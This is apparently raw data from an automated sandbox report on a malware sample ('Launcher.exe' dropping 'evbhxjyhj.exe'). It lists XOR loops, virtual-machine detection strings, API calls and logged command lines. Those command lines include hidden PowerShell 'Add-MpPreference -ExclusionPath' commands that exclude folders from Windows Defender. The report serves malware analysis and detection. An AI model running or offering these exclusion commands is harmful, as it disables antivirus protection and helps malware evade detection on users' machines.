image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image"30:Tc32,Found XOR loop in file "evbhxjyhj.exe" at offset 518405; code bytes = 30d0 Found XOR loop in file "evbhxjyhj.exe" at offset 518433; code bytes = 30d0 Found XOR loop in file "evbhxjyhj.exe" at offset 86777; code bytes = 33c1 Found XOR loop in file "evbhxjyhj.exe" at offset 284813; code bytes = 33c1 Found XOR loop in file "evbhxjyhj.exe" at offset 5124; code bytes = 8030 Found XOR loop in file "evbhxjyhj.exe" at offset 55447; code bytes = 8030 Found XOR loop in file "evbhxjyhj.exe" at offset 55454; code bytes = 8030 Found XOR loop in file "evbhxjyhj.exe" at offset 63700; code bytes = 8030 Found XOR loop in file "evbhxjyhj.exe" at offset 64820; code bytes = 8030 Found XOR loop in file "evbhxjyhj.exe" at offset 97524; code bytes = 8030 Found XOR loop in file "evbhxjyhj.exe" at offset 109412; code bytes = 8030 Found XOR loop in file "evbhxjyhj.exe" at offset 406100; code bytes = 8030 Found XOR loop in file "evbhxjyhj.exe" at offset 515076; code bytes = 8030 Found XOR loop in file "evbhxjyhj.exe" at offset 527572; code bytes = 8030 Found XOR loop in file "evbhxjyhj.exe" at offset 533108; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 251700; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 251706; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2332153; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3744010; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3832512; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5149937; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 878207; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 878213; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 988568; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 988575; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2764666; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3471096; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4406678; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5425176; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5639898; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6432930; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1297130; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1513008; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1543472; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1650154; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1918029; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3241067; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3754369; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4677217; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5730777; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7124166; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7251296; code bytes = 803031:T51e,Found string "VBoxMouse.sys" (Indicator: "VBoxMouse"; Source: "00000000-00003132-00000C65-929608961") Found string "VBoxGuest.sys" (Indicator: "VBoxGuest"; Source: "00000000-00003132-00000C65-929609081") Found string "VBoxSF.sys" (Indicator: "VBoxSF"; Source: "00000000-00003132-00000C65-929609239") Found string "vmmouse.sys" (Indicator: "vmmouse"; Source: "00000000-00003132-00000C65-929609461") Found string "vmhgfs.sys" (Indicator: "vmhgfs"; Source: "00000000-00003132-00000C65-929609592") Found string "vmxnet.sys" (Indicator: "vmxnet"; Source: "00000000-00003132-00000C65-929609941") Found string "VBoxMouse.sys" (Indicator: "VBoxMouse"; Source: "00000000-00003132.00000000.153731.A2CA0000.00000004.mdmp") Found string "VBoxGuest.sys" (Indicator: "VBoxGuest"; Source: "00000000-00003132.00000000.153731.A2CA0000.00000004.mdmp") Found string "VBoxSF.sys" (Indicator: "VBoxSF"; Source: "00000000-00003132.00000000.153731.A2CA0000.00000004.mdmp") Found string "vmmouse.sys" (Indicator: "vmmouse"; Source: "00000000-00003132.00000000.153731.A2CA0000.00000004.mdmp") Found string "vmhgfs.sys" (Indicator: "vmhgfs"; Source: "00000000-00003132.00000000.153731.A2CA0000.00000004.mdmp") Found string "vmxnet.sys" (Indicator: "vmxnet"; Source: "00000000-00003132.00000000.153731.A2CA0000.00000004.mdmp")32:T2284,"Launcher.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005964) "Launcher.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000020606c70ae0100001019a6bdf97f00000000000000000000000014bcf97f00000000000000000000ee260bbbf97f0000070000000000000000b79fb38500000000b79fb385000000400e19bbf97f0000000014bcf97f00007b6330bbf97f0000020000000000000000000000000000009200000000000000a00484bcf97f0000f0b69fb385000000bb5f0bbbf97f00000d000000f97f0000a00484bcf97f000092000000000000000000000000000000a00484bcf97f00001c5b0bbbf97f0000000000000000000092000000000000000d000000f97f00000d00000000000000aa00000000000000d24525bcf97f0000a03a2abc (UID: 00000000-00005964) "Launcher.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005884) "Launcher.exe" called "RtlGetVersion" with parameter 000000000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005884) "Launcher.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005884) "cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001548) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001548) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006468) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006468) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000050dc0d57a30100001019a6bdf97f00000000000000000000000014bcf97f00000000000000000000ee260bbbf97f00000700000000000000d0c2973b66000000d0c2973b66000000400e19bbf97f0000000014bcf97f00007b6330bbf97f0000030000000000000000000000000000009200000000000000a00484bcf97f0000c0c2973b66000000bb5f0bbbf97f00000d000000f97f0000a00484bcf97f000092000000000000000000000000000000a00484bcf97f00001c5b0bbbf97f0000000000000000000092000000000000000d000000f97f00000d00000000000000aa00000000000000d24525bcf97f0000a03a2abc (UID: 00000000-00006468) "powershell.exe" called "RtlGetVersion" with parameter 240100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006468) "cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007672) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007672) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005048)33:T46b,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f0000000000000000000001000000000000004026d4aff97f000000010000000000003826d4aff97f00000000000000000000409d91bdf97f000000000000000000000001000000000000701f96bbf97f00000000d3aff97f000001000000000000002f19d3aff97f000000000000000000003826d4aff97f000000d01500 (UID: 00000000-00006468) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f0000000000000000000001000000000000004026d4aff97f000000010000000000003826d4aff97f00000000000000000000409d91bdf97f000000000000000000000001000000000000701f96bbf97f00000000d3aff97f000001000000000000002f19d3aff97f000000000000000000003826d4aff97f000000d01500 (UID: 00000000-00005048) "evbhxjyhj.exe" called "GetVersionExA" with parameter 9c0000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003132)34:T4bd,"Launcher.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Launcher.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS")35:T1643,"powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00006468-00000C17-877348050 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00006468-00000C17-877351200 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00006468-00000C17-879285742 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00006468-00000C17-880024803 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006468-00000C17-880433156 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006468-00000C17-881525674 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006468-00000C17-882650971 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00006468-00000C17-883866531 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00006468-00000C17-884287645 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.5915.cat" at 00000000-00006468-00000C17-884559948 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.5794.cat" at 00000000-00006468-00000C17-884630225 "powershell.exe" queries volume information of "C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll" at 00000000-00006468-00000C17-884930104 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll" at 00000000-00006468-00000C17-885291059 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll" at 00000000-00006468-00000C17-885296111 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll" at 00000000-00006468-00000C17-885296471 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00006468-00000C17-885534776 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.4717.cat" at 00000000-00006468-00000C17-885583535 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00006468-00000C17-885711234 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00006468-00000C17-885913395 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00006468-00000C17-886061793 "powershell.exe" queries volume information of "C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll" at 00000000-00006468-00000C17-886199201 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00005048-00000C17-899251115 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00005048-00000C17-899253988 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00005048-00000C17-902316789 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00005048-00000C17-90243329136:T49c,"Launcher.exe" called "CreateProcessA" with parameter "cmd.exe /C powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\,'%ALLUSERSPROFILE%\Windows\Microsoft','%ALLUSERSPROFILE%\Microsoft\Windows'"" - (UID: 00000000-00005884), "Launcher.exe" called "CreateProcessA" with parameter "cmd.exe /C powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath $env:TEMP"" - (UID: 00000000-00005884), "Launcher.exe" called "CreateProcessA" with parameter "cmd.exe /C gpupdate /force" - (UID: 00000000-00005884), "Launcher.exe" called "CreateProcessW" with parameter ""%ALLUSERSPROFILE%\evbhxjyhj.exe"" - (UID: 00000000-00005884), "cmd.exe" called "CreateProcessW" with parameter "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\ '%ALLUSERSPROFILE%\Windows\Micr" - (UID: 00000000-00001548), "cmd.exe" called "CreateProcessW" with parameter "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath $env:TEMP"" - (UID: 00000000-00007672), "cmd.exe" called "CreateProcessW" with parameter "gpupdate /force" - (UID: 00000000-00005932)37:T6993,"Launcher.exe" called "LoadLibrary" with a parameter ole32 (UID: 00000000-00005964) "Launcher.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\6078762b90671c2ff9ba39318e2176d8\mscorlib.ni.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\fe3c9cf707273488c6c658d52d624640\System.ni.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\21ff4ba4607b18a9b179ab90fd3b0bc1\System.Core.ni.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\704b6614c4744d16332d08daf175deed\Microsoft.PowerShell.ConsoleH (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\76ff225c5a523f0be2364b0fc02bf7f9\System.Xml.ni.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter Kernel32 (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\ed7aa14224280131dbac4b6e4881239a\Microsoft.Management.Infrastr (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter NtDll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\afd58c711db7cac7f0d5caf525ce8d6c\System.DirectoryServices.ni.d (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\8ecda6b0ffa321000faffbdcdb86175b\System.Management.ni.dll 